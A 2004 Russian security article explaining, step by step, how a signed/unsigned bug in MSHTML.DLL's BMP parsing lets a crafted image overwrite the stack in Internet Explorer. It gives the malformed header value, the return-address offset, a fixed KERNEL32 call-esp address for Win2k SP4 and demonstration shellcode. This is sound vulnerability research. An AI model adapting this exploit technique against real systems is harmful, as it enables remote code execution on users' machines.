информационная безопасность
без паники и всерьез
 подробно о проекте
Rambler's Top100За кого нас держат?Все любят мед
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / библиотека / безопасность
БИБЛИОТЕКА
вход в библиотеку
книги
безопасность
программирование
криптография
internals
www
телефония
underground
беллетристика
разное
обзор: избранное
конкурс
рейтинг статей
обсуждение




Подписка:
BuqTraq: Обзор
RSN
БСК
Закон есть закон




Использование уязвимости в MSHTML.DLL для выполнения произвольного кода
ch00k
Опубликовано: dl, 08.03.04 18:15

Около месяца назад появилась новость об обнаружении ошибки в исходниках Windows, связанной с обработкой BMP-файлов.

Ошибка содержится в следующем фрагменте кода

    // Before we read the bits, seek to the correct location in the file 
    while (_bmfh.bfOffBits > (unsigned)cbRead)  //1
    { 
        BYTE abDummy[1024]; 
        int cbSkip; 

        cbSkip = _bmfh.bfOffBits - cbRead;      //2
        
        if (cbSkip > 1024)                      //3
                 cbSkip = 1024; 

        if (!Read(abDummy, cbSkip))             //4
                 goto Cleanup;  
                  
        cbRead += cbSkip; 
    } 

Этот код используется для того, чтобы пропустить часть BMP-файла и перейти к считыванию данных, формирующих изображение.

Информация о том, в каких ОС и сервиспаках эта дыра закрыта довольно противоречива (так, сообщалось, что уязвимы только IE 5, что явно неверно). Вроде бы, закрыта она в WinXP SP1.

Код является классическим примером ошибки при преобразовании signed/unsigned. Подробно этот тип ошибки описан в http://www.phrack.org/phrack/60/p60-0x0a.txt

Рассмотрим, что произойдет, если в заголовке BMP-файла в структуре BITMAPFILEHEADER поставить значение bfOffBits, превосходящее 2^31.

Пусть _bmfh.bfOffBits = 0x90000000, а cbRead = 0x400

После присваивания в строке 2 имеем cbSkip == 0x8FFFFC00, а поскольку переменная cbSkip имеет тип int, это значит, что cbSkip == -1879049216

Проверки в строке 3 оказывается явно недостаточно, так как -1879049216 < 1024,. Происходит вызов Read(abDummy, 0x8FFFFC00).

Возьмем произвольный BMP-файл и модифицируем его заголовок, записав по смещению 0x0A значение 00 00 00 90 (0x90000000), и попробуем открыть этот файл в IE (можно создать какой-нибудь простой html-файл, содержащий ссылку на модифицированный BMP).

Результат будет зависеть от размера BMP-файла. Исследования показывают, что на больших файлах IE просто завершает работу, видимо, как-то обнаруживая внутри себя переполнение буфера, а на файлах, меньших 2 Кб, ничего вообще не происходит.

Самые интересные вещи начинаются, когда файл имеет размер около 2500 байт. В этом случае IE падает с Access Violation, причем возникает предположение, что падение происходит из-за перезаписи в стеке адреса возврата. Проверить это предположение можно следующим образом:

  • Укоротим модифицированный файл до длины в 2400 байт.
  • Все байты после заголовока (те самые bitmap bits) заполним какой-нибудь повторяющейся последовательностью из четырех байт (например, 0xСCССDDDD)

Теперь после падения IE в отладочной информации можно будет увидеть примерно следующее:

eax=00000001 ebx=00e18278 ecx=01c6ffdc edx=00070608 esi=000be300 edi=000be300
eip=ddddcccc esp=01c6fda0 ebp=ddddcccc iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286

Стек:
01c6fda0  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fdb0  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fdc0  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fdd0  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fde0  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fdf0  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fe00  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fe10  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fe20  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fe30  cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd  ................
01c6fe40  cc cc 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00  ................
01c6fe50  00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00  ................

Особое внимание следует обратить на eip=ddddcccc и ebp=ddddcccc

Что означает, что были выполнены команды pop bp, ret, и при этом в стеке лежали наши данные.

Значит, функция Read работает следующим образом: она принимает параметры типа char * и DWORD и считывает из

открытого файла данные в буфер, пока не случится одно из следующих событий:

  • функция прочитает запрашиваемое количество байт
  • произойдет какая-либо ошибка ввода-вывода (например, файл закончится)

Функция, видимо, возвращает число записанных в буфер байт. В строке 4 проверяется, не произошла ли ошибка (в частности, если функция вернет 0 - значит ей ничего не удалось записать). Это означает, что при вызове Read(abDummy, 0x8FFFFC00) будет прочитано и перезаписано не 0x8FFFFC00 байт, а меньше (а именно - наш файл будет прочитан до конца, затем произойдет ошибка, и в конце концов функция вернет 0 - и произойдет выход из цикла (goto Cleanup) и возврат из функции, вызвавшей Read).

Если бы этого не происходило, и функция за раз пыталась перезаписывать 0x8FFFFC00 байт, скорее всего произошло бы банальное нарушение защиты памяти, и IE просто падал бы. Это неинтересно.

Определим, какое конкретно место в стеке надо перезаписывать (ведь из всех 2400 байт BMP-файла только 4 будут использоваться как адрес возврата). Сделать это можно различными способами, например, бинарным поиском (постепенно заменяя 0xCCCCDDDD на что-нибудь другое и следя за изменением результата) либо проcто заполнив файл разными значениями, и отследив, какое именно из них попадет в eip.

После проведения анализа выясняется, что это значение находится по смещению 0x8B6 от начала файла

Итак, мы можем передать управление по любому адресу в пространстве IE, изменив в нашем файле 4 байта по смещению 0x8B6. Значит, есть возможность выполнить код, который можно разместить в самом BMP-файле.

Заметим, что esp после выполнения ret будет указывать на байт в стеке, который в исходном BMP файле находится по адресу 0x8BE (это можно проверить, изменив этот байт и посмотрев в на изменения в stack trace). Так и хочется в BMP-файле начиная с 0x8BE разместить наш код и передать на него управление... Только сделать это напрямую не получится - заранее неизвестно, где наш код будет находиться в адресном пространстве IE. - мы не сможем просто записать адрес в BMP-файл по смещению 0x8B6.

Решить эту проблему можно следующим образом: как известно, IE использует системные DLL такие как KERNEL32.DLL и USER32.DLL. Их загрузка происходит всегда по одному и тому же адресу.

Далее все просто: достаточно найти в какой-нибудь библиотеке, загружающейся по фиксированному адресу, последовательность 0xFFE4 (jmp esp) или 0xFFD4 (call esp) и передать туда управление (предварительно, естественно, нужно вычислить адрес, по которому эта инструкция будет расположена в адресном пространстве IE и именно этот адрес записать в BMP файл). Этот код, в свою очередь, передаст управление на инструкцию по адресу esp, что нам и нужно.

У этого метода есть одна неприятная особенность: ввиду того, что системные библиотеки Windows могут меняться от версии к версии и от сервиспака к сервискпаку, для каждой операционной системы (и каждого сервиспака) придется создавать свой собственный BMP-файл.

Для Win2k En Sp4 подойдет, например, адрес 0x7C4FEDBB (что соответствует инструкции call esp в KERNEL32.DLL по смещению 0x1E1BB от начала файла).

Код, который будет выполняться - тема отдельной статьи. На эту тему почитать можно здесь: http://seclists.org/lists/vuln-dev/2001/Sep/0190.html. Но поскольку сейчас не ставится целью разработка вируса или трояна, эксплуатирующего данную уязвимость, мы просто выведем сообщение и завершим текущий поток. Для этого вызовем MessageBoxA и ExitThread. В стеке предварительно разместим строку, которую мы хотим вывести (располагать ее следует, очевидно, до адреса 0x8B6 в нашем файле)

000008C0: 8BC4                         mov    eax,esp
000008C2: 2D00020000                   sub    eax,000000200
000008C7: 6A00                         push   000
000008C9: 50                           push   eax
000008CA: 50                           push   eax
000008CB: 6A00                         push   000
000008CD: B89880E377                   mov    eax,077E38098 ;MessageBoxA
000008D2: FFD0                         call   eax
000008D4: B83B5F4E7C                   mov    eax,07C4E5F3B ;ExitThread
000008D9: FFD0                         call   eax

Таким образом, был создан BMP-файл, позволяющий выполнять произвольный код на машине пользователя. Для выполнения кода необходимо либо открытие страницы, либо просто просмотр письма, содержащего файл в аттаче (в Outlook Express).

Прилагаемый файл проверялся на Win2k en sp4 IE 6.0.2600.

обсудить  |  все отзывы (7)

[24887; 67; 5.86]




Rambler's Top100
Рейтинг@Mail.ru





  Copyright © 2001-2024 Dmitry Leonov   Page build time: 1 s   Design: Vadim Derkach